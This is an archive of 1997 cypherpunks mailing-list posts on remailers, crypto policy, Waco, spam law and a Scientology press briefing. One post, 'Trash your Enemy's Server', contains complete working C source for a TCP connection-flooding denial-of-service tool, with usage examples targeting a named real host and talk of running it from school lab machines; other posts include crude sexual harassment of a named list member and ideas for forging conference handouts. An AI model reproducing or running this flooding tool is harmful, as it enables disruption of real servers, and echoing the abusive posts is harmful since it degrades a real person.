Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 10:01:26 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070142.DAA29774@basement.replay.com>
Message-ID: <199706070149.UAA26627@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Anonymous wrote:
> 
> 
> Igor Chudov @ home wrote:
> > Another danger of  using remailers without encryption is that it is very
> > easy to compromise one's identity due to little mistakes and malformed
> > messages.
> 
> Yup, apparently relay.com and reply.com have gotten quite a bit of
> remailer@replay.com's mail.  In fact, relay.com has complained about this
> several times.  (Obviously they were reading the misdirected mail.)
> 

What do remailer operators think about requiring all incoming messages
to be encrypted? Would that bring more good than harm?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 7 Jun 1997 09:32:43 +0800
To: cypherpunks@toad.com
Subject: Germany to Surveil CoS
Message-ID: <1.5.4.32.19970607011507.009b1bc4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



                           DEPARTMENT OF STATE
                        DAILY PRESS BRIEFING INDEX
                            Friday, June 6, 1997
                           Briefer:  Nicholas Burns

[Excerpt]

QUESTION:  What is the State Department's reaction to the decision of
the German Interior Ministers to put the Church of Scientology under
nationwide observation by the anti-extremist watchdogs?

MR. BURNS:  Well, we understand that the German state and federal
interior ministers have agreed to pursue the recommendations of an
experts group which called for the collection of information on
Scientologists and scientology.  It is our understanding - and we have a
very incomplete understanding, actually, of this decision - that the
ministers directed state and federal law enforcement agencies to develop
a plan to implement these recommendations.

We will examine the details of this decision carefully, but since I
don't believe our embassy in Bonn or our German experts here at the
State Department have had sufficient time really to look at this in
detail, I don't think it's appropriate for me to give you a detailed
comment.  I will say this.  The United States obviously has to stand for
freedom of religion.  We have that in our own country and we stand for
freedom of religion around the world.  If you would just look at our
annual human rights reports, I think four out of the last five years or
five of the last six - I forget which - we have mentioned this issue of
scientology.

But I feel compelled to say something else about this issue, and that is
that Germany needs to be protected, the German Government and the German
leadership need to be protected from this wild charge made by the Church
of Scientology in the United States that somehow the treatment of
Scientologists in Germany can or should be compared to the treatment of
Jews who had to live, and who ultimately perished, under Nazi rule in
the 1930s.

This wildly inaccurate comparison is most unfair to Chancellor Kohl and
to his government and to regional governments and city governments
throughout Germany.  It has been made consistently by supporters of
scientology here in the United States, and by Scientologists themselves.
I do want to disassociate the United States Government from this
campaign.  We reject this campaign.  It is most unfair to Germany and to
Germans in general.

QUESTION:  Anything in this latest effort by Germany to deal with the
Church of Scientology that concerns you?

MR. BURNS:  Well, Carol, as I said, we have a sketchy understanding, at
best, of what this means.  It appears to be instructions by state and
federal law enforcement agencies to look at a set of recommendations and
develop a plan upon recommendations.

We have an alliance relationship with Germany.  We have a very close
relationship. I think among friends, you don't shoot first and ask
questions later.  What we need to do is study this issue, talk to the
German Government about it, and then perhaps we will have something to
say later on.  But I think it would be most unfair to Germany for us to
have detailed comments when we don't have a detailed understanding of
what this process may or may not be.  Yes.

[End excerpt]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 7 Jun 1997 14:48:56 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh  [WACO NOISE POLITICS NON-CRYPTO]
In-Reply-To: <3.0.2.32.19970604165830.0078e268@panix.com>
Message-ID: <3.0.1.32.19970606212218.0073e864@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:13 PM 6/4/97 -0400, you wrote:
>Give it a rest. The people inside had already murdered several BATF
>agents. They had every opportunity to release the children and allow
>them to get to safety. They had every opportunity to surrender.

Phill, I'm really appalled at this posting of yours.
When a bunch of armed marked people storm your house with assault rifles
and grenades, without warning you to come out first,
and you shoot back at them, that's not murder.  That's self-defense.
It may be stupid - there's a lot to be said for lying on the floor
with your hands over your head, which will make the armed assault force
feel slightly guilty if they shoot you in the back - but it's
not murder, and it's not anything resembling murder.
If the BATF killed any of the Davidians in the incident, _that_ would 
have been murder.  
	[If, as some people contend, some of the four dead assailants were 
	actually killed by friendly fire, that wouldn't have been murder
	either, that would have been an accident.  And since the leader
	of the attack force knew he'd probably lost the element of surprise,
	he was clearly negligent in protecting his men.]

Even if the Davidians knew, and they apparently did,
that an armed gang was about to storm their house without warning,
that's still self-defense, not murder.  Waving a white flag out the window
before the attackers have a chance to sneak up and storm you
would probably embarass or confuse them, but the Davidians had no
reason to trust that the assault force would respect it
and not just shoot them anyway -- and besides, while the Davidians
had fewer guns per person than the average Texan, they were
paranoid wackos, and surrendering before being attacked isn't the
kind of thing you expect paranoid wackos to think of at dawn
after being warned by a phone call.
	
>The US police may be incompetent and corrupt but that does not excuse
>the Oaklahoma bombing nor does it in any way lessen the responsibility of
>McVeigh and those who encouraged him.

I didn't say the people who disagreed with you on this list
weren't engaging in macho flash rhetoric here :-)

>Only I think that the SAS is probably better experienced.

Not just the SAS - even the FBI said after the first wave of attacks that,
unlike the BATF, they really try not to lead armed assaults
when there are women and children in the way.  By a couple of months
later, the political pressure had become strong enough that they
decided to do it anyway, but at least at first they were embarassed
about the situation their colleagues had gotten them into.
The US military has better-trained people also, but there's a very strong
tradition against using the US military for domestic incidents -
our so-called Civil War has really soured us on that.

But whether you're looking at the SAS, Marines, BATF, Delta Force,
or FBI Hostage Rescue Team, the mission wasn't something a 
military assault force is right for - that sort of thing is fine for 
rescuing hostages from terrorists, or killing terrorists before
they set off bombs or shoot the neighbors.  But the legal objective
of the police should have been to inform the Davidians that the
police want to search their house, or that they were wanted in court, 
or maybe even to arrest them if there was enough evidence to convince a 
judge to sign an arrest warrant.  What can a military do?  
Shoot the adults for refusing to surrender, while trying not to shoot the 
kids too?  Militias can do things like keep the Davidians from running 
away when the police knock on their door, but there probably wasn't enough 
evidence of a crime to justify an arrest, certainly not of anyone but
Koresh, and if everybody _did_ run away, that would make searching their
house to get evidence of contraband possession easier.

>> The Feds could have done in 1993 what they've done since 
>> (Koresh wasn't the  only one who got burned there) and 
>> LEAVE PEACEFUL PEOPLE ALONE.
>yeah peacefull types whose response to a visit from the police was to
>lie in ambush and shoot at them with automatic weapons.
>So are you suggesting that the police ignore the complaints of illegal
>ownership of firearms and child abuse?

Again, the Davidian's response was stupid, but this wasn't a 
"visit from the police", this was an assault force that shot first
while they were storming the house at dawn.

The local sheriff had visited the house the previous year
to respond to allegations of potential child abuse.
Came up, knocked on the door, they let him in, everybody talked,
he decided there was no evidence of criminal child abuse,
just weird religious and personality-cult.  No problem.
If he'd wanted to do the same again, he could have,
and he could have done something similar for the weapons charge.
If they _had_ checked, they'd have found that one of the
residents was a licensed firearm dealer, and could have checked 
his records, which he's legally required to keep and present.
No need to storm somebody's house just because you're worried that
they might flush a couple of pieces of metal down the toilet
when they see you coming - it's not like it's DOPE or something.

Also, if he'd wanted to arrest Koresh, he could have done it in town,
or when the guy was out jogging, which was daily.

>And in any case the point is that Waco does not absolve McVeigh and
>the militias for the blame for Oaklahoma.

The militias??  Phill, the only militia that McVeigh was part of was
the US Army.  Sure, they're one of the world's leading terrorist 
organizations, and they probably should have noticed that he was a wacko 
and kicked him out, like the Michigan Militia had the sense to do, 
rather than training him to be a gung-ho killer, but sometimes you
don't realize what somebody's like or what Army training will do to them.
And besides, I've had friends who were Army recruiters, and when you've
got a quota to make, you'll take anybody who can write "X" and
knows how to make a fist.

As far as blame for Waco goes, Janet Reno has said it's all hers.
[NOW FOR A FLAME] 
Janet Reno, who started the wave of minority church burnings in the South,
just had the GALL to make a speech talking about all the good things 
she's been doing to stop that sort of thing.  Not about how she's
personally responsible and has been trying to rehabilitate herself,
but about how other people are evil and need to be stopped.
<expletive deleted>!  Hypocrite.  I don't know if 1-888-ATF-FIRE
is still running, but y'all are free to call up and rat on her.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 10:53:48 +0800
To: cypherpunks@toad.com
Subject: Re: Trash your Enemy's Server
In-Reply-To: <199706070108.UAA26269@manifold.algebra.com>
Message-ID: <24mw8D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com (Igor Chudov @ home) writes:
> > my cancelbot (available at http://www.thecia.net/~kibo/cancelbot.html, btw)
> > to make a Windows 95 binary.
> > Somehow I think the people most likely to use this would be running W95 and
> > have no C compiler, rather than running a flavor of Unix/Linux.
>
> I personally experience very unpleasant emotions whenever I have to do
> anything with Win 95.

Without getting into OS wars, let me just point out that I'm writing this
on an OS/2 box. :-)

>                       Perhaps someone else could do it. Also, it is
> _possible_ that this program will not work too well on Win 95 because
> it would block other applications. (I am not sure about this)

It might make the box not very usable for other stuff.

I'm thinking of a situation where someone has access to a room full of
W95 boxes (e.g. a computer lab at school) left idle for extended time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Sat, 7 Jun 1997 09:40:17 +0800
To: "Peter Trei" <trei@process.com>
Subject: Re: Arguments for good crypto and against GAK.
In-Reply-To: <199706062346.QAA29864@comsec.com>
Message-ID: <3.0.1.32.19970606212924.0096a700@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:00 PM 6/5/97 -6, Peter Trei wrote:
>In short, it's possible to pro-crypto, anti-GAK 
>without ever getting near sounding  anti-government; 
>in fact, being pro-crypto, anti-GAK can be a 
>conservative, anti-crime, law & order position.

Yup.

Let me add one more I just posted to the cryptography list.

When you have non-GAK strong crypto for criminals to use, they (like the 
rest of us) will be seduced into believing that they have privacy and will 
loosen their tongues.  As a result, more and better intelligence will be 
available over that communications channel.  For the proportion of cases 
where the person on the other side is an agent or someone turned by threat 
of prosecution, this intelligence falls into the hands of law enforcement.  
Even better, this person who is reporting to LE is remote from the real 
criminal(s), so he is in substantially less danger of being frisked to 
discover a wire.

 - Carl


+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 11:22:10 +0800
To: devnull@manifold.algebra.com
Subject: Re: Trash your Enemy's Server
In-Reply-To: <24mw8D30w165w@bwalk.dm.com>
Message-ID: <199706070305.WAA27233@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> >                       Perhaps someone else could do it. Also, it is
> > _possible_ that this program will not work too well on Win 95 because
> > it would block other applications. (I am not sure about this)
> 
> It might make the box not very usable for other stuff.
> 
> I'm thinking of a situation where someone has access to a room full of
> W95 boxes (e.g. a computer lab at school) left idle for extended time.

... or a number of people who have access to idle computers and do not
like a particular very annoying domain.

The program was designed specifically to be left running forever (in the
grind mode with #connections != 0). It should not put a too big strain on
the attacking host (except for the Net connection), at least if it runs 
under linux.

By the way, I just made a couple of minor changes (in the way it grinds)
and here's the new version.

/***************************************************************************/
/*                                                                         */
/*                \=/,         _-===-_-====-_-===-_-==========-_-====-_    */
/*                |  @___oo   (          Denial Of Service             )_  */
/*      /\  /\   / (___,,,}_--=    Opens Many Dangling TCP Connections   ) */
/*     ) /^\) ^\/ _)        =__        to swamp TCP servers of your     )  */
/*     )   /^\/   _)          (_              enemies.                  )  */
/*     )   _ /  / _)            (                                        ) */
/* /\  )/\/ ||  | )_)            (_        Educational Use Only!        )  */
/*<  >      |(,,) )__)             (  Ignoramus_Chewed-Off@algebra.com   ) */
/* ||      /    \)___)\             (_            1997                 __) */
/* | \____(      )___) )___           -==-_____-=====-_____-=====-___==    */
/*  \______(_______;;; __;;;                                               */
/*                                                                         */
/***************************************************************************/



const char * Usage = 
"Error: %s\n"
"USAGE: %s (block|grind) hostname service# #connections\n"
"\n"
"This program opens #connections connections to the specified host.\n"
"It can be used to deny services, slow down and crash Internet servers.\n"
"\n"
"If #connections is set to 0, it opens as many connections as it can\n"
"and continues trying to do so as long as it runs. Use Control-C to \n"
"interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
"\n"
"If #connections is not 0, this program only opens #connections of them.\n"
"After that, if the first argument is 'block', it simply sleeps. If the\n"
"first argument is 'grind', it starts opening and closing connections\n"
"in a round robin manner every second.\n"
"\n"
"This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
"anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
"\n"
"USE EXAMPLE: \n"
"	%s grind victim.com 80 1000\n"
"-- opens 1000 HTTP connections to victim.com and waits\n"
"	%s block www.agis.net 80 0\n"
"-- constantly attempts to open HTTP connections to www.agis.net\n"
;

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define USAGE( msg ) 	\
   fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \
   exit( 1 )

/* after I open this many additional connections (for n_connections == 0),
   I wait for 1 second, just in case 
*/

#define MAX_CONN 50

typedef enum { CON_BLOCK, CON_GRIND } ConMode;

/* create a client socket connected to PORT on HOSTNAME */
int create_client_socket(char ** hostname, int port)
{
    struct sockaddr_in sa ;
    struct hostent *hp ;
    int a, s ;
    long addr ;


    bzero(&sa, sizeof(sa)) ;
    if ((addr = inet_addr(*hostname)) != -1) {
        /* is Internet addr in octet notation */
        bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */
        sa.sin_family = AF_INET ;
    } else {
        /* do we know the host's address? */
        if ((hp = gethostbyname(*hostname)) == NULL) {
            return -2 ;
        }
        *hostname = hp->h_name ;
        bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ;
        sa.sin_family = hp->h_addrtype ;
    }

    sa.sin_port = htons((u_short) port) ;

    if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */
        return -1 ;
    }
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {  /* connect */
        close(s) ;
        return -1 ;
    }
    return s ;
}

int main( int argc, char *argv[] ) 
{
  char * name;
  int port, n_connections;
  int s;
  ConMode mode; 


  if( argc != 5
      || (argc >= 1 && (!strcmp( argv[1], "--help" ) 
                        || !strcmp( argv[1], "-help" ))))
    {
      USAGE( "Wrong Number of Arguments" );
    }

  if( !strcmp( argv[1], "block" ) )
    {
      mode = CON_BLOCK; 
    }
  else if( !strcmp( argv[1], "grind" ) )
    {
      mode = CON_GRIND;
    }
  else
    {
      USAGE( "First argument must be 'block' or 'grind'" );
    }

  name = argv[2];

  if( (port = atoi( argv[3] ) ) == 0 )
    {
      USAGE( "Port Number must be numeric" );
    }

  if( !isdigit( argv[4][0] ) )
    {
      USAGE( "Port Number must be numeric" );;
    }

  n_connections = atoi( argv[4] );

  if( n_connections == 0 ) /* infinite loop */
    {
      int i = 0;
      printf( "ATTENTION: This may damage even your "
               "computer. Press ^C to abort\n" );

      while( 1 )
        {
          if( create_client_socket( &name, port ) == -1 )
            {
              printf( "Connection refused; sleeping.\n" );
              sleep( 1 );
            }
          else
            {
              if( (i++ % MAX_CONN) == (MAX_CONN-1) )
                {
                  printf( "You can interrupt me here. I have %d "
                          "connections open. \nContinuing...\n", i );
                  sleep( 1 );
                }
            }
        }
    }
  else
    {
      int * fds = (int *)calloc( n_connections, sizeof( int ) );
      int i = 0;

      if( fds == 0 )
        USAGE( "Memory Allocation Error" ); 

      while( 1 ) /* in a loop, keep opening descriptors */
        {
          if( fds[i] != 0 )
            {
              printf( "Closing %d...\n", i );
              close( fds[i] );
            }

          while( 1 ) /* try to open the new one */
            {
              if( (fds[i] = create_client_socket( &name, port )) == -1 )
                {
                  printf( "Connection refused; sleeping.\n" );
                  sleep( 1 );
                }
              else
                {
                  printf( "Opened %d.\n", i );
                  break;
                }
            }

          i++;

          if( i == n_connections ) /* we've gone full circle */
            {
              printf( "Done with %d connections\n", i );

              if( mode == CON_BLOCK )
                {
                  printf( "I am going to sleep forever...\n", i );
                  while( 1 ) 
                    sleep(1);
                }
              else /* repeating the loop */
                i = 0;
              sleep( 1 );
            }
        }
    }
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 13:27:15 +0800
To: cypherpunks@cyberpass.net
Subject: Steak Knife Decryption
Message-ID: <199706070521.WAA11195@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



An interesting twist on rubber hose decryption in the case of the
murder of Jonathan Levin, son of the top executive of media
giant Time Warner.

Police believe his ATM card was stolen, and he was then jabbed
with a steak knife until he revealed the PIN.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 7 Jun 1997 10:53:20 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <P4gw8D26w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970606223724.14349A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



So we do agree after all!

-Declan

(Who thinks that no consensual speech should be banned by the government.
I can, however, see a common law argument for spam as trespass after
repeated cease-and-desist notes are sent.)

On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh <declan@pathfinder.com> writes:
> > I suspect we agree on spam.)
> 
> I kind of doubt it.
> 
> Do you believe, as I do, that "spam" deserves the protection as any other kind
> of speech, and that so libel, child pornography, and bolb-making instructions?
> 
> I didn't think so. :-)
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 7 Jun 1997 11:11:27 +0800
To: cypherpunks@toad.com
Subject: Re: NYT on German Net Police
Message-ID: <199706070259.WAA29012@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> Robert Hettinga wrote:
> >> Recall a previous report that Kohl and other heads of state are
> >> to meet in Denver on June 20-22 to plan a global attack
> >> on "cyber-terrorism," including the spread of encryption:
> >>
> >>    http://jya.com/denver.htm
> >
> >Wow. What an opportunity for street theater *that* might be...
> 
> Excellent suggestion, Agent Provocateur (AP) Bob.
> 
> Now, what would be the cyber-version of street theater?

  Meet incoming International airline flights and hand out free 
copies of strong crypto (electronic and/or text) to incoming
foreigners.
  Carry passports with Public Key footprint as identifier.
  
> For examp, the security arrangements for the trial will be broadened,
> and artfully leaked to the Denver-ensconced and equipped media, to
> promote and protect the priceless Derrieres of State.
> 
> But what might cyber-terribles do to work-a-round the highly
> classified meat protections?

  Provide delegates with bogus/forged information regarding
meeting, times, security proceedures, etc.
  
> Denver's Judge Downes sent a missive in plaintext to IRS, a
> spit in the bucket another Bob said. What about a bigger oyster
> hawk at the lens and mikes of the leaders of the free worlds?

  Forged conference media handouts with quotes from Hitler,
Stalin and Mussolini.
 
FalseMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 12:38:23 +0800
To: devnull@manifold.algebra.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <BFTw8D32w165w@bwalk.dm.com>
Message-ID: <199706070424.XAA27671@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> Declan McCullagh <declan@pathfinder.com> writes:
> 
> > -Declan
> >
> > (Who thinks that no consensual speech should be banned by the government.
> 
> If you set up your mailbox to accept e-mail promiscuously from anyone,
> then anything sent to it is "consentual".
> 
> > I can, however, see a common law argument for spam as trespass after
> > repeated cease-and-desist notes are sent.)
> 
> The onus is on the recipient to filter out what they don't want (or to
> "filter in" only what they want, which is how I think we'll end up). Such
> filtering takes less time+effort than "repeated cease-and-desist notes".

Is there any justification for a law that would require senders to make
filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 7 Jun 1997 13:42:36 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [URGENT] Sphere packings
In-Reply-To: <199706061806.UAA27392@basement.replay.com>
Message-ID: <Pine.A41.3.95.970606232644.107514A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 6 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C[unt] May's 16Kb brain's single 
> convolution is directly wired to his rectum 
> for input and his T1 mouth for output. That's 
> 16K bits, not bytes. Anal intercourse has 
> caused extensive brain damage.
> 
>  ///////
>  \-oo-/  Tim C[unt] May
>   \--/
>    \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 7 Jun 1997 13:38:06 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199706061822.LAA23129@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970606232726.107514B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.

On Fri, 6 Jun 1997, Mix wrote:

> Now is the time for all good little boys to cum in Tim C. May's big mouth.
> 
>             >\\\|/<
>             |_    ;
>             (O) (o)
>         -OOO--(_)--OOOo- Tim C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 12:01:30 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970606223724.14349A-100000@cp.pathfinder.com>
Message-ID: <BFTw8D32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> -Declan
>
> (Who thinks that no consensual speech should be banned by the government.

If you set up your mailbox to accept e-mail promiscuously from anyone,
then anything sent to it is "consentual".

> I can, however, see a common law argument for spam as trespass after
> repeated cease-and-desist notes are sent.)

The onus is on the recipient to filter out what they don't want (or to
"filter in" only what they want, which is how I think we'll end up). Such
filtering takes less time+effort than "repeated cease-and-desist notes".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 14:56:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: <199706070650.XAA22108@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com (Igor Chudov @ home) writes:

 > Mike Duvos wrote:

 >> An interesting twist on rubber hose decryption in the case
 >> of the murder of Jonathan Levin, son of the top executive of
 >> media giant Time Warner.

 >> Police believe his ATM card was stolen, and he was then
 >> jabbed with a steak knife until he revealed the PIN.

 > This brings up a question. Did these robbers kill him right
 > after they found out the answer, or they first tried to
 > withdraw money to check if his number was right?

 > This brings up a question on the strategy in this game.

 > Suppose I am captured by ruthless robbers. They ask me for a
 > number and torture me. They will torture me as long as
 > necessary until I give out the correct number, and then
 > they kill me.

 > Assuming that I am rational and prefer torture to death, I
 > should not tell them the right number and delay the
 > process, with the hope that possibly the police will come
 > and rescue me.

 > Assuming that robbers are rational and know that I am
 > rational, they certainly should not put me in such
 > position: if they do, they are going to waste a lot of
 > precious time and have no chance of getting the money.

 > So, they should promise me that they would not kill me.

 > But how would I believe them? A rational robber should kill
 > the victim after she gets the money.

 > I am not quite clear if rational people can get something
 > out of torturing other rational people. Maybe, I am
 > confused and wrong somewhere.

 > Maybe, if the robber can convince the victim that she
 > (robber) is irrational and would hold on to her promise not
 > to kill him, she could get the money. But how to do that?

This is a kind of a Prisoner's Dilemma type game-theoretic
problem. Each side desires to maximize their mathematical
expectation, which is the sum of their expected return for each
possible behavior of their opponent times the probability that
behavior will occur.  One may assume that one has an intelligent
opponent who can also analyze the game.

The robbers can either promise to let their victim live after the
PIN has been extracted, or not.  Once torture has produced a PIN,
and it has been tested in the ATM, they can either kill their
victim or not kill him.

The victim can either give the PIN before major damage is done,
or he can hold out until he either dies or rescue arrives.

For the robbers, the money is a small return, and getting charged
with murder should the police arrive right after the victim has
been terminated is a big loss.  Letting the victim live to
identify the robbers is a medium sized loss, but killing the
victim and getting away with it is no loss at all. For the
victim, the loss of some money is a small loss, and the loss of
ones life is a big loss.

Now the only return for the robbers is the money, so anything
that doesn't result in the money is worse than not committing the
crime in the first place.  There is no incentive for the robbers
to say that they will kill you and not do it, so we can assume
the robbers will not lie about this.  A rational victim will
postphone death as long as possible, so it is always in the best
interests of the robbers to say that they will not kill the
victim.

This crime takes a very short amount of time to commit, so rescue
is unlikely.  Torture which results in either the PIN or mortal
injury can be carried out in under a minute.  If the PIN is not
disclosed, death will therefore result.  If the pin is disclosed,
you have a chance of living equal to the chance the robbers will
not kill you.

So the optimum strategy if both players have analyzed the game is
for the robbers to promise not to kill you, the victim to always
immediately give up the PIN, and then for the robbers to either
kill or not kill the victim, based on the relative penalty times
the chance of getting caught for each alternative.

There is nothing the victim can do to improve his chances, except
to hope he lives in a community where the penalty for robbery is
small compared to the penalty for murder, and that a
disproportionate amount of law enforcement resources are devoted
to solving murders, versus solving robberies.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 13:51:32 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: <199706070544.AAA00172@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Mike Duvos wrote:
> 
> 
> An interesting twist on rubber hose decryption in the case of the
> murder of Jonathan Levin, son of the top executive of media
> giant Time Warner.
> 
> Police believe his ATM card was stolen, and he was then jabbed
> with a steak knife until he revealed the PIN.

This brings up a question. Did these robbers kill him right after
they found out the answer, or they first tried to withdraw money
to check if his number was right?

This brings up a question on the strategy in this game.

Suppose I am captured by ruthless robbers. They ask me for a
number and torture me. They will torture me as long as necessary
until I give out the correct number, and then they kill me.

Assuming that I am rational and prefer torture to death, I should
